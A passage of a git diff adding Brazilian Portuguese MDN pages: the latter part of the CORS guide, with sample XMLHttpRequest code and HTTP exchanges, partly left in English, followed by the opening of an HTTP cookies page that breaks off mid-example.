hospedado em foo.example:</p> + +<pre class="brush: js notranslate" id="line1">var invocation = new XMLHttpRequest(); +var url = 'http://bar.other/resources/public-data/'; + +function callOtherDomain() { + if(invocation) { + invocation.open('GET', url, true); + invocation.onreadystatechange = handler; + invocation.send(); + } +} +</pre> + +<p>Isso fará uma troca simples entre cliente e servidor, utilizando o cabeçalho CORS para tratar os privilégios.</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14293/simple_req.png" style="height: 224px; width: 521px;"></p> + +<p>Neste caso, vamos ver o que o navegador enviará ao servidor e vamos olhar como o servidor responde:</p> + +<pre class="brush: html notranslate">GET /resources/public-data/ HTTP/1.1 +Host: bar.other +User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 +Accept-Language: en-us,en;q=0.5 +Accept-Encoding: gzip,deflate +Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 +Connection: keep-alive +Referer: http://foo.example/examples/access-control/simpleXSInvocation.html +Origin: http://foo.example + + +HTTP/1.1 200 OK +Date: Mon, 01 Dec 2008 00:23:53 GMT +Server: Apache/2.0.61 +Access-Control-Allow-Origin: * +Keep-Alive: timeout=2, max=100 +Connection: Keep-Alive +Transfer-Encoding: chunked +Content-Type: application/xml + +[XML Data] +</pre> + +<p>As linhas de 1 a 10 são enviadas no header. Note que o cabeçalho principal da requisição HTTP aqui é {{HTTPHeader("Origin")}} na linha 10, o qual revela que a chamada é proveniente de um conteúdo no domínio <code class="plain">http://foo.example</code>.</p> + +<p>As linhas de 13 a 22 mostram a resposta HTTP do servidor no domínio <code class="plain">http://bar.other</code>. Nesta resposta, o servidor envia de volta um cabeçalho {{HTTPHeader("Access-Control-Allow-Origin")}} exibido na linha 16. O uso dos cabeçalhos {{HTTPHeader("Origin")}} e {{HTTPHeader("Access-Control-Allow-Origin")}} mostram o protocolo de controle de acesso em seu uso mais simples. Neste caso, o servidor responde com <code>Access-Control-Allow-Origin: *</code>, o que significa que o recurso pode ser acessado por <strong>qualquer</strong> domínio pela comunicação entre origens. Se os proprietários dos recursos em <code class="plain">http://bar.other</code> desejarem restringir o acesso ao conteúdo para o mesmo ser apenas de <code class="plain">http://foo.example</code>, eles retornaram:</p> + +<p><code class="plain">Access-Control-Allow-Origin: http://foo.example</code></p> + +<p>Observe que, agora, nenhum dominio além de <code class="plain">http://foo.example</code> (identificado na requisição pelo cabeçalho ORIGIN: como na linha 10) pode acessar o recurso pela comunicação entre origens. O cabeçalho <code>Access-Control-Allow-Origin</code> deve conter o valor que foi enviado no cabeçalho <code>Origin</code> da requisição. </p> + +<h3 id="Requisições_com_pré-envio">Requisições com pré-envio</h3> + +<p>Ao contrário de <a href="/en-US/docs/Web/HTTP/Access_control_CORS#Simple_requests">“requisições simples” (discutido acima)</a>, requisições com "pré-envio" (<em>Preflighted requests</em>) primeiramente enviam uma requisição HTTP através do método {{HTTPMethod("OPTIONS")}} para obter um recurso em outro domínio, a fim de determinar se de fato a requisição atual é segura para envio. Requisições entre sites possuem pré-envio, já que podem interferir em dados do usuário.</p> + +<p>Em particular, uma requisição tem um pré-envio <strong>se qualquer das seguintes condições</strong> for verdadeira:</p> + +<ul> + <li><strong>Se</strong> a requisição usa algum dos seguintes métodos: + + <ul> + <li>{{HTTPMethod("PUT")}}</li> + <li>{{HTTPMethod("DELETE")}}</li> + <li>{{HTTPMethod("CONNECT")}}</li> + <li>{{HTTPMethod("OPTIONS")}}</li> + <li>{{HTTPMethod("TRACE")}}</li> + <li>{{HTTPMethod("PATCH")}}</li> + </ul> + </li> + <li><strong>Ou se</strong>, além dos cabeçalhos definidos automaticamente pelo agente do usuário (por exemplo, {{HTTPHeader("Connection")}}, {HTTPHeader("User-Agent")}} ou <a href="https://fetch.spec.whatwg.org/#forbidden-header-name">qualquer <strong>OUTRO</strong> cabeçalho com um nome definido na especificação Fetch como “<em>forbidden header name</em>”</a>), a requisição inclui quaisquer cabeçalhos <strong>além</strong> <a href="https://fetch.spec.whatwg.org/#cors-safelisted-request-header">daqueles que a especificação Fetch define como sendo um “<em>CORS-safelisted request-header</em>”</a>, que são: + <ul> + <li>{{HTTPHeader("Accept")}}</li> + <li>{{HTTPHeader("Accept-Language")}}</li> + <li>{{HTTPHeader("Content-Language")}}</li> + <li>{{HTTPHeader("Content-Type")}} (porém observe os requisitos adicionais abaixo)</li> + <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#dpr">DPR</a></code></li> + <li>{{HTTPHeader("Downlink")}}</li> + <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#save-data">Save-Data</a></code></li> + <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#viewport-width">Viewport-Width</a></code></li> + <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#width">Width</a></code></li> + </ul> + </li> + <li><strong>Ou se</strong> o {{HTTPHeader("Content-Type")}} do cabeçalho <strong>tem</strong> <strong>outro</strong> valor que: + <ul> + <li><code>application/x-www-form-urlencoded</code></li> + <li><code>multipart/form-data</code></li> + <li><code>text/plain</code></li> + </ul> + </li> + <li><strong>Ou se</strong> um ou mais <em>event listener</em> estiver registrado em um objeto {{domxref ("XMLHttpRequestUpload")}} usado nessa requisição.</li> + <li><strong>Ou se</strong> um objeto {{domxref("ReadableStream")}} é usado nessa requisição.</li> +</ul> + +<div class="note"><strong>Nota:</strong> WebKit Nightly e Safari Technology Preview colocam restrições adicionais nos valores permitidos dos cabeçalhos {{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Language")}} e {{HTTPHeader("Content-Language")}}. Caso qualquer um desses cabeçalhos tenha algum valor fora do padrão (non-standard), o WebKit/Safari faz o pré-envio da requisição. O que o WebKit/Safari considera como valor “non-standard” para tais cabeçalhos não está documentado, exceto nos seguintes bugs do WebKit: <a href="https://bugs.webkit.org/show_bug.cgi?id=165178" rel="nofollow noreferrer">Require preflight for non-standard CORS-safelisted request headers Accept, Accept-Language, and Content-Language</a>, <a href="https://bugs.webkit.org/show_bug.cgi?id=165566" rel="nofollow noreferrer">Allow commas in Accept, Accept-Language, e Content-Language request headers for simple CORS</a> e <a href="https://bugs.webkit.org/show_bug.cgi?id=166363" rel="nofollow noreferrer">Switch to a blacklist model for restricted Accept headers in simple CORS requests</a>. Nenhum outro navegador implementa estas restrições adicionais, pois elas não são parte da especificação.</div> + +<p>O exemplo a seguir é de uma requisição com pré-envio.</p> + +<pre class="brush: js notranslate" id="line1">var invocation = new XMLHttpRequest(); +var url = 'http://bar.other/resources/post-here/'; +var body = '<?xml version="1.0"?><person><name>Arun</name></person>'; + +function callOtherDomain(){ + if(invocation) + { + invocation.open('POST', url, true); + invocation.setRequestHeader('X-PINGOTHER', 'pingpong'); + invocation.setRequestHeader('Content-Type', 'application/xml'); + invocation.onreadystatechange = handler; + invocation.send(body); + } +} + +...... +</pre> + +<p>No exemplo acima, a linha 3 cria um XML para enviar com a requisição <code>POST</code> da linha 8. Também, na linha 9, é definido um cabeçalho de uma requisição HTTP "personalizada" (non-standard) com (<code>X-PINGOTHER: pingpong</code>). Tais cabeçalhos não fazem parte do protocolo HTTP/1.1, mas podem ser usados para aplicações web. Já que a requisição usa um Content-Type do tipo <code>application/xml</code> e como é uma requisição personalizada, esta requisição faz um pré-envio.</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14289/prelight.png"></p> + +<p>(Observação: conforme descrito abaixo, a requisição POST real não inclui os cabeçalhos Access-Control-Request- *; eles são necessários apenas para a requisição OPTIONS.)</p> + +<p>Vamos conferir a comunicação completa que ocorre entre cliente e servidor. A primeira comunicação é a <em>requisição com pré-envio/resposta</em>:</p> + +<pre class="brush: shell;highlight:[10,11,17,18,19,20] notranslate">OPTIONS /resources/post-here/ HTTP/1.1 +Host: bar.other +User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 +Accept-Language: en-us,en;q=0.5 +Accept-Encoding: gzip,deflate +Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 +Connection: keep-alive +Origin: http://foo.example +Access-Control-Request-Method: POST +Access-Control-Request-Headers: X-PINGOTHER, Content-Type + + +HTTP/1.1 200 OK +Date: Mon, 01 Dec 2008 01:15:39 GMT +Server: Apache/2.0.61 (Unix) +Access-Control-Allow-Origin: http://foo.example +Access-Control-Allow-Methods: POST, GET, OPTIONS +Access-Control-Allow-Headers: X-PINGOTHER, Content-Type +Access-Control-Max-Age: 86400 +Vary: Accept-Encoding, Origin +Content-Encoding: gzip +Content-Length: 0 +Keep-Alive: timeout=2, max=100 +Connection: Keep-Alive +Content-Type: text/plain +</pre> + +<p>Uma vez que a requisição com pré-envio é completa, a requisição efetiva será enviada:</p> + +<pre class="brush:shell;highlight:[13,23] notranslate">POST /resources/post-here/ HTTP/1.1 +Host: bar.other +User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 +Accept-Language: en-us,en;q=0.5 +Accept-Encoding: gzip,deflate +Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 +Connection: keep-alive +X-PINGOTHER: pingpong +Content-Type: text/xml; charset=UTF-8 +Referer: http://foo.example/examples/preflightInvocation.html +Content-Length: 55 +Origin: http://foo.example +Pragma: no-cache +Cache-Control: no-cache + +<?xml version="1.0"?><person><name>Arun</name></person> + + +HTTP/1.1 200 OK +Date: Mon, 01 Dec 2008 01:15:40 GMT +Server: Apache/2.0.61 (Unix) +Access-Control-Allow-Origin: http://foo.example +Vary: Accept-Encoding, Origin +Content-Encoding: gzip +Content-Length: 235 +Keep-Alive: timeout=2, max=99 +Connection: Keep-Alive +Content-Type: text/plain + +[Some GZIP'd payload] +</pre> + +<p>As linhas de 1 a 12 acima representam a requisição com pré-envio tendo o método {{HTTPMethod("OPTIONS")}}. O navegador determina que precisa fazer este envio baseado nos parâmetros da requisição do código JavaScript acima utilizado, para que o servidor possa responder caso seja aceitável o envio da requisição com os dados parâmetros da mesma. OPTIONS é um método HTTP/1.1 usado para determinar informações complementares dos servidores, sendo o mesmo um método {{Glossary("safe")}}, o que significa que não pode ser utilizado para troca de recurso. Note que junto da requisição OPTIONS, outros dois cabeçalhos são enviados (linhas 10 e 11, respectivamente):</p> + +<pre class="notranslate">Access-Control-Request-Method: POST +Access-Controa l-Request-Headers: X-PINGOTHER, Content-Type +</pre> + +<p>O cabeçalho {{HTTPHeader("Access-Control-Request-Method")}} notifica o servidor como sendo uma parte da requisição com pré-envio que, quando a requisição efetiva é enviada, será enviada com uma requisição de método <code>POST</code>. O cabeçalho {{HTTPHeader("Access-Control-Request-Headers")}} notifica o servidor que quando a requisição efetiva fora enviada, será enviada com os seguintes cabeçalhos personalizados <code>X-PINGOTHER</code> e <code>Content-Type</code>. O servidor agora tem a oportunidade para definir se deseja aceitar uma requisição sob estas condições.</p> + +<p>As linhas 14 a 26 acima são as respostas que o servidor devolve, indicando que o método (<code>POST</code>) e os cabeçalhos (<code>X-PINGOTHER</code>) da requisição são aceitáveis. Em particular, vejamos as linhas 17 a 20:</p> + +<pre class="notranslate">Access-Control-Allow-Origin: http://foo.example +Access-Control-Allow-Methods: POST, GET, OPTIONS +Access-Control-Allow-Headers: X-PINGOTHER, Content-Type +Access-Control-Max-Age: 86400</pre> + +<p>O servidor responde com <code>Access-Control-Allow-Methods</code> e diz que <code>POST</code>, <code>GET</code>, e <code>OPTIONS</code> são métodos viáveis para requerir o recurso em questão. Perceba que este cabeçalho é similar ao cabeçalho da resposta {{HTTPHeader("Allow")}}, mas usado estritamente dentro do contexto do controle de acesso.</p> + +<p>O servidor envia também <code>Access-Control-Allow-Headers</code> com um valor de "<code>X-PINGOTHER, Content-Type</code>", confirmando estes são cabeçalhos permitidos a serem usados com a requisição efetiva. Assim como <code>Access-Control-Allow-Methods</code>, <code>Access-Control-Allow-Headers</code> é uma lista de cabeçalhos aceitáveis, separados por vírgula.</p> + +<p>Por fim, {{HTTPHeader("Access-Control-Max-Age")}} traz o valor em segundos de quão longo pode ser mantida em cache a resposta da requisição pré-envio sem o envio de outra requisição pré-envio. Neste caso, 86400 segundos são 24 horas. Note que cada browser tem um<a href="/en-US/docs/Web/HTTP/Headers/Access-Control-Max-Age"> valor interno máximo</a> que toma precedência quado <code>Access-Control-Max-Age</code> for maior.</p> + +<h4 id="Requisições_com_pré-envio_e_redirecionamento">Requisições com pré-envio e redirecionamento</h4> + +<p>Not all browsers currently support following redirects after a preflighted request. If a redirect occurs after a preflighted request, some browsers currently will report an error message such as the following.</p> + +<blockquote> +<p>The request was redirected to 'https://example.com/foo', which is disallowed for cross-origin requests that require preflight</p> +</blockquote> + +<blockquote> +<p>Request requires preflight, which is disallowed to follow cross-origin redirect</p> +</blockquote> + +<p>The CORS protocol originally required that behavior but <a href="https://github.com/whatwg/fetch/commit/0d9a4db8bc02251cc9e391543bb3c1322fb882f2">was subsequently changed to no longer require it</a>. However, not all browsers have implemented the change, and so still exhibit the behavior that was originally required.</p> + +<p>So until all browsers catch up with the spec, you may be able to work around this limitation by doing one or both of the following:</p> + +<ul> + <li>change the server-side behavior to avoid the preflight and/or to avoid the redirect—if you have control over the server the request is being made to</li> + <li>change the request such that it is a <a href="https://developer.mozilla.org/pt-BR/docs/Web/HTTP/Controle_Acesso_CORS$edit#Simple_requests">simple request</a> that doesn’t cause a preflight</li> +</ul> + +<p>But if it’s not possible to make those changes, then another way that may be possible is to this:</p> + +<ol> + <li>Make a <a href="https://developer.mozilla.org/pt-BR/docs/Web/HTTP/Controle_Acesso_CORS$edit#Simple_requests">simple request</a> (using {{domxref("Response.url")}} for the Fetch API, or {{domxref("XMLHttpRequest.responseURL")}}) to determine what URL the real preflighted request would end up at.</li> + <li>Make another request (the “real” request) using the URL you obtained from <code>Response.url</code> or <code>XMLHttpRequest.responseURL</code> in the first step.</li> +</ol> + +<p>However, if the request is one that triggers a preflight due to the presence of the <code>Authorization</code> header in the request, you won’t be able to work around the limitation using the steps above. And you won’t be able to work around it at all unless you have control over the server the request is being made to.</p> + +<h3 id="Requisições_com_credenciais">Requisições com credenciais</h3> + +<p>The most interesting capability exposed by both {{domxref("XMLHttpRequest")}} or <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a> and CORS is the ability to make "credentialed" requests that are aware of <a href="/en-US/docs/Web/HTTP/Cookies">HTTP cookies</a> and HTTP Authentication information. By default, in cross-site {{domxref("XMLHttpRequest")}} or <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a> invocations, browsers will <strong>not</strong> send credentials. A specific flag has to be set on the {{domxref("XMLHttpRequest")}} object or the {{domxref("Request")}} constructor when it is invoked.</p> + +<p>In this example, content originally loaded from <code class="plain">http://foo.example</code> makes a simple GET request to a resource on <code class="plain">http://bar.other</code> which sets Cookies. Content on foo.example might contain JavaScript like this:</p> + +<pre class="brush: js notranslate" id="line1">var invocation = new XMLHttpRequest(); +var url = 'http://bar.other/resources/credentialed-content/'; + +function callOtherDomain(){ + if(invocation) { + invocation.open('GET', url, true); + invocation.withCredentials = true; + invocation.onreadystatechange = handler; + invocation.send(); + } +}</pre> + +<p>Line 7 shows the flag on {{domxref("XMLHttpRequest")}} that has to be set in order to make the invocation with Cookies, namely the <code>withCredentials</code> boolean value. By default, the invocation is made without Cookies. Since this is a simple <code>GET</code> request, it is not preflighted, but the browser will <strong>reject</strong> any response that does not have the {{HTTPHeader("Access-Control-Allow-Credentials")}}: <code>true</code> header, and <strong>not</strong> make the response available to the invoking web content.</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14291/cred-req.png" style="height: 223px; width: 521px;"></p> + +<p>Here is a sample exchange between client and server:</p> + +<pre class="brush: shell notranslate">GET /resources/access-control-with-credentials/ HTTP/1.1 +Host: bar.other +User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 +Accept-Language: en-us,en;q=0.5 +Accept-Encoding: gzip,deflate +Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 +Connection: keep-alive +Referer: http://foo.example/examples/credential.html +Origin: http://foo.example +Cookie: pageAccess=2 + + +HTTP/1.1 200 OK +Date: Mon, 01 Dec 2008 01:34:52 GMT +Server: Apache/2.0.61 (Unix) PHP/4.4.7 mod_ssl/2.0.61 OpenSSL/0.9.7e mod_fastcgi/2.4.2 DAV/2 SVN/1.4.2 +X-Powered-By: PHP/5.2.6 +Access-Control-Allow-Origin: http://foo.example +Access-Control-Allow-Credentials: true +Cache-Control: no-cache +Pragma: no-cache +Set-Cookie: pageAccess=3; expires=Wed, 31-Dec-2008 01:34:53 GMT +Vary: Accept-Encoding, Origin +Content-Encoding: gzip +Content-Length: 106 +Keep-Alive: timeout=2, max=100 +Connection: Keep-Alive +Content-Type: text/plain + + +[text/plain payload] +</pre> + +<p>Although line 11 contains the Cookie destined for the content on <code class="plain">http://bar.other</code>, if bar.other did not respond with an {{HTTPHeader("Access-Control-Allow-Credentials")}}<code>: true</code> (line 19) the response would be ignored and not made available to web content.</p> + +<h4 id="Solicitações_credenciadas_e_curingas_wildcards">Solicitações credenciadas e curingas (<em>wildcards</em>)</h4> + +<p>When responding to a credentialed request, the server <strong>must</strong> specify an origin in the value of the <code>Access-Control-Allow-Origin</code> header, instead of specifying the "<code>*</code>" wildcard.</p> + +<p>Because the request headers in the above example include a <code>Cookie</code> header, the request would fail if the value of the <code>Access-Control-Allow-Origin</code> header were "*". But it does not fail: Because the value of the <code>Access-Control-Allow-Origin</code> header is "<code class="plain">http://foo.example</code>" (an actual origin) rather than the "<code>*</code>" wildcard, the credential-cognizant content is returned to the invoking web content.</p> + +<p>Note that the <code>Set-Cookie</code> response header in the example above also sets a further cookie. In case of failure, an exception—depending on the API used—is raised.</p> + +<p>All of these examples can be <a class="external" href="http://arunranga.com/examples/access-control/">seen working here</a>. The next section deals with the actual HTTP headers.</p> + +<h2 id="Os_cabeçalhos_de_resposta_HTTP">Os cabeçalhos de resposta HTTP</h2> + +<p>This section lists the HTTP response headers that servers send back for access control requests as defined by the Cross-Origin Resource Sharing specification. The previous section gives an overview of these in action.</p> + +<h3 id="Access-Control-Allow-Origin">Access-Control-Allow-Origin</h3> + +<p>A returned resource may have one {{HTTPHeader("Access-Control-Allow-Origin")}} header, with the following syntax:</p> + +<pre class="notranslate">Access-Control-Allow-Origin: <origin> | * +</pre> + +<p>The <code>origin</code> parameter specifies a URI that may access the resource. The browser must enforce this. For requests <strong>without</strong> credentials, the server may specify "*" as a wildcard, thereby allowing any origin to access the resource.</p> + +<p>For example, to allow http://mozilla.org to access the resource, you can specify:</p> + +<pre class="notranslate">Access-Control-Allow-Origin: http://mozilla.org</pre> + +<p>If the server specifies an origin host rather than "*", then it could also include Origin in the Vary response header to indicate to clients that server responses will differ based on the value of the Origin request header.</p> + +<h3 id="Access-Control-Expose-Headers">Access-Control-Expose-Headers</h3> + +<p>The {{HTTPHeader("Access-Control-Expose-Headers")}} header lets a server whitelist headers that browsers are allowed to access. For example:</p> + +<pre class="notranslate">Access-Control-Expose-Headers: X-My-Custom-Header, X-Another-Custom-Header +</pre> + +<p>This allows the <code>X-My-Custom-Header</code> and <code>X-Another-Custom-Header</code> headers to be exposed to the browser.</p> + +<h3 id="Access-Control-Max-Age">Access-Control-Max-Age</h3> + +<p>The {{HTTPHeader("Access-Control-Max-Age")}} header indicates how long the results of a preflight request can be cached. For an example of a preflight request, see the above examples.</p> + +<pre class="notranslate">Access-Control-Max-Age: <delta-seconds> +</pre> + +<p>The <code>delta-seconds</code> parameter indicates the number of seconds the results can be cached.</p> + +<h3 id="Access-Control-Allow-Credentials">Access-Control-Allow-Credentials</h3> + +<p>The {{HTTPHeader("Access-Control-Allow-Credentials")}} header Indicates whether or not the response to the request can be exposed when the <code>credentials</code> flag is true. When used as part of a response to a preflight request, this indicates whether or not the actual request can be made using credentials. Note that simple <code>GET</code> requests are not preflighted, and so if a request is made for a resource with credentials, if this header is not returned with the resource, the response is ignored by the browser and not returned to web content.</p> + +<pre class="notranslate">Access-Control-Allow-Credentials: true +</pre> + +<p><a class="internal" href="#Requisições_com_credenciais">Credentialed requests</a> are discussed above.</p> + +<h3 id="Access-Control-Allow-Methods">Access-Control-Allow-Methods</h3> + +<p>O {{HTTPHeader("Access-Control-Allow-Methods")}} cabeçalho especifica o método ou os métodos permitidos ao acessar o recurso. Isso é usado em resposta há uma requisição preflight. As condições na qual a requisição é preflight são discutidas à seguir.</p> + +<pre class="notranslate">Access-Control-Allow-Methods: <method>[, <method>]* +</pre> + +<p>An example of a <a class="internal" href="#Preflighted_requests">preflight request is given above</a>, including an example which sends this header to the browser.</p> + +<h3 id="Access-Control-Allow-Headers">Access-Control-Allow-Headers</h3> + +<p>The {{HTTPHeader("Access-Control-Allow-Headers")}} header is used in response to a <a class="internal" href="#Preflighted_requests">preflight request</a> to indicate which HTTP headers can be used when making the actual request.</p> + +<pre class="notranslate">Access-Control-Allow-Headers: <field-name>[, <field-name>]* +</pre> + +<h2 id="Os_cabeçalhos_de_solicitação_HTTP">Os cabeçalhos de solicitação HTTP</h2> + +<p>This section lists headers that clients may use when issuing HTTP requests in order to make use of the cross-origin sharing feature. Note that these headers are set for you when making invocations to servers. Developers using cross-site {{domxref("XMLHttpRequest")}} capability do not have to set any cross-origin sharing request headers programmatically.</p> + +<h3 id="Origin">Origin</h3> + +<p>The {{HTTPHeader("Origin")}} header indicates the origin of the cross-site access request or preflight request.</p> + +<pre class="notranslate">Origin: <origin> +</pre> + +<p>The origin is a URI indicating the server from which the request initiated. It does not include any path information, but only the server name.</p> + +<div class="note"><strong>Note:</strong> The <code>origin</code> can be the empty string; this is useful, for example, if the source is a <code>data</code> URL.</div> + +<p>Note that in any access control request, the {{HTTPHeader("Origin")}} header is <strong>always</strong> sent.</p> + +<h3 id="Access-Control-Request-Method">Access-Control-Request-Method</h3> + +<p>The {{HTTPHeader("Access-Control-Request-Method")}} is used when issuing a preflight request to let the server know what HTTP method will be used when the actual request is made.</p> + +<pre class="notranslate">Access-Control-Request-Method: <method> +</pre> + +<p>Examples of this usage can be <a class="internal" href="#Preflighted_requests">found above.</a></p> + +<h3 id="Access-Control-Request-Headers">Access-Control-Request-Headers</h3> + +<p>The {{HTTPHeader("Access-Control-Request-Headers")}} header is used when issuing a preflight request to let the server know what HTTP headers will be used when the actual request is made.</p> + +<pre class="notranslate">Access-Control-Request-Headers: <field-name>[, <field-name>]* +</pre> + +<p>Examples of this usage can be <a class="internal" href="#Preflighted_requests">found above</a>.</p> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('Fetch', '#cors-protocol', 'CORS')}}</td> + <td>{{Spec2('Fetch')}}</td> + <td>New definition; supplants <a href="https://www.w3.org/TR/cors/">W3C CORS</a> specification.</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_entre_Navegadores">Compatibilidade entre Navegadores</h2> + +<div class="hidden"> +<p>The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> +</div> + +<p>{{Compat("http.headers.Access-Control-Allow-Origin")}}</p> + +<h3 id="Notas_de_compatibilidade">Notas de compatibilidade</h3> + +<ul> + <li>Internet Explorer 8 and 9 expose CORS via the <code>XDomainRequest</code> object, but have a full implementation in IE 10. </li> + <li>While Firefox 3.5 introduced support for cross-site XMLHttpRequests and Web Fonts, certain requests were limited until later versions. Specifically, Firefox 7 introduced the ability for cross-site HTTP requests for WebGL Textures, and Firefox 9 added support for Images drawn on a canvas using <code>drawImage</code>.</li> +</ul> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS/Errors">CORS errors</a></li> + <li><a href="https://enable-cors.org/server.html">Enable CORS: I want to add CORS support to my server</a></li> + <li>{{domxref("XMLHttpRequest")}}</li> + <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API">Fetch API</a></li> + <li><a href="http://www.kendoui.com/blogs/teamblog/posts/11-10-03/using_cors_with_all_modern_browsers.aspx">Using CORS with All (Modern) Browsers</a></li> + <li><a href="http://www.html5rocks.com/en/tutorials/cors/">Using CORS - HTML5 Rocks</a></li> + <li><a href="https://arunranga.com/examples/access-control/">Code Samples Showing <code>XMLHttpRequest</code> and Cross-Origin Resource Sharing</a></li> + <li><a href="https://github.com/jackblackevo/cors-jsonp-sample">Client-Side & Server-Side (Java) sample for Cross-Origin Resource Sharing (CORS)</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Server-Side_Access_Control">Cross-Origin Resource Sharing From a Server-Side Perspective (PHP, etc.)</a></li> + <li><a href="https://stackoverflow.com/questions/43871637/no-access-control-allow-origin-header-is-present-on-the-requested-resource-whe/43881141#43881141">Stack Overflow answer with “how to” info for dealing with common problems</a>: + <ul> + <li>How to avoid the CORS preflight</li> + <li>How to use a CORS proxy to get around <em>“No Access-Control-Allow-Origin header”</em></li> + <li>How to fix <em>“Access-Control-Allow-Origin header must not be the wildcard”</em></li> + </ul> + </li> +</ul> diff --git a/files/pt-br/web/http/cookies/index.html b/files/pt-br/web/http/cookies/index.html new file mode 100644 index 0000000000..86c42eafbd --- /dev/null +++ b/files/pt-br/web/http/cookies/index.html @@ -0,0 +1,213 @@ +--- +title: Cookies HTTP +slug: Web/HTTP/Cookies +tags: + - Cookies + - Guía + - HTTP +translation_of: Web/HTTP/Cookies +--- +<div>{{HTTPSidebar}}</div> + +<p class="summary"><span class="seoSummary">Um cookie HTTP (um cookie web ou cookie de navegador) é um pequeno fragmento de dados que um servidor envia para o navegador do usuário. O navegador pode armazenar estes dados e enviá-los de volta na próxima requisição para o mesmo servidor. Normalmente é utilizado para identificar se duas requisições vieram do mesmo navegador</span> — ao manter um usuário logado, por exemplo. Ele guarda informações dinâmicas para o protocolo<em> </em>HTTP sem estado.</p> + +<p>Cookies são usados principalmente para três propósitos:</p> + +<dl> + <dt>Gerenciamento de sessão</dt> + <dd>Logins, carrinhos de compra, placar de jogos ou qualquer outra atividade que deva ser guardada por um servidor.</dd> + <dt>Personalização</dt> + <dd>Preferências de usuário, temas e outras configurações.</dd> + <dt>Rastreamento</dt> + <dd>Registro e análise do comportamento de um usuário.</dd> +</dl> + +<p>Os cookies eram usados para armazenamento geral no lado do cliente. Embora isso fosse aceitável quando eram a única forma de armazenar dados no cliente, atualmente é recomendável utilizar APIs de armazenamento mais modernas. Os cookies são enviados em todas as requisições, por isso podem prejudicar a performance (especialmente em conexões móveis). APIs modernas de armazenamento no cliente são <a href="/en-US/docs/Web/API/Web_Storage_API" title="DOM Storage">Web storage API</a> (<code>localStorage</code> e <code>sessionStorage</code>) e <a href="/en-US/docs/Web/API/IndexedDB_API">IndexedDB</a>.</p> + +<div class="note"> +<p>Para visualizar os cookies armazenados (e outros armazenamentos que uma página web pode usar), pode-se habilitar o <a href="/en-US/docs/Tools/Storage_Inspector">Storage Inspector</a> nas Ferramentas de Desenvolvimento e selecionar o item <strong>Cookies</strong> na árvore de armazenamento.</p> +</div> + +<h2 id="Criando_cookies">Criando cookies</h2> + +<p>Ao receber uma requisição HTTP, um servidor pode enviar um cabeçalho {{HTTPHeader("Set-Cookie")}} com a resposta. O cookie normalmente é armazenado pelo navegador, então o cookie é enviado com as requisições feitas para o mesmo servidor dentro do cabeçalho HTTP {{HTTPHeader("Cookie")}}. Uma data de expiração ou duração pode ser especificada, e após esta data o cookie não é mais enviado. Adicionalmente, restrições para um domínio específico e caminho podem ser configuradas, limitando para onde o cookie é enviado.</p> + +<h3 id="Os_cabeçalhos_Set-Cookie_e_Cookie">Os cabeçalhos <code>Set-Cookie</code> e <code>Cookie</code></h3> + +<p>O cabeçalho HTTP de resposta {{HTTPHeader("Set-Cookie")}} envia cookies do servidor para o cliente. Um cookie simples é configurado da seguinte forma:</p> + +<pre class="syntaxbox">Set-Cookie: <cookie-name>=<cookie-value></pre> + +<p>Este cabeçalho de servidor informa ao cliente para armazenar um cookie.</p> + +<div class="note"><strong>Nota:</strong> Eis as formas de utilização do cabeçalho <code> Set-Cookie</code> em várias aplicações de servidor: + +<ul> + <li><a href="https://secure.php.net/manual/en/function.setcookie.php">PHP</a></li> + <li><a href="https://nodejs.org/dist/latest-v8.x/docs/api/http.html#http_response_setheader_name_value">Node.JS</a></li> + <li><a href="https://docs.python.org/3/library/http.cookies.html">Python</a></li> + <li><a href="http://api.rubyonrails.org/classes/ActionDispatch/Cookies.html">Ruby on Rails</a></li> +</ul> +</div> + +<pre>HTTP/1.0 200 OK +Content-type: text/html +Set-Cookie: yummy_cookie=choco +Set-Cookie: tasty_cookie=strawberry + +[conteúdo da página]</pre> + +<p id="The_client_sends_back_to_the_server_its_cookies_previously_stored">Agora, em qualquer requisição nova ao servidor, o navegador envia de volta todos os cookies previamente armazenados para o servidor utilizando o cabeçalho {{HTTPHeader("Cookie")}}.</p> + +<pre>GET /sample_page.html HTTP/1.1 +Host: www.example.org +Cookie: yummy_cookie=choco; 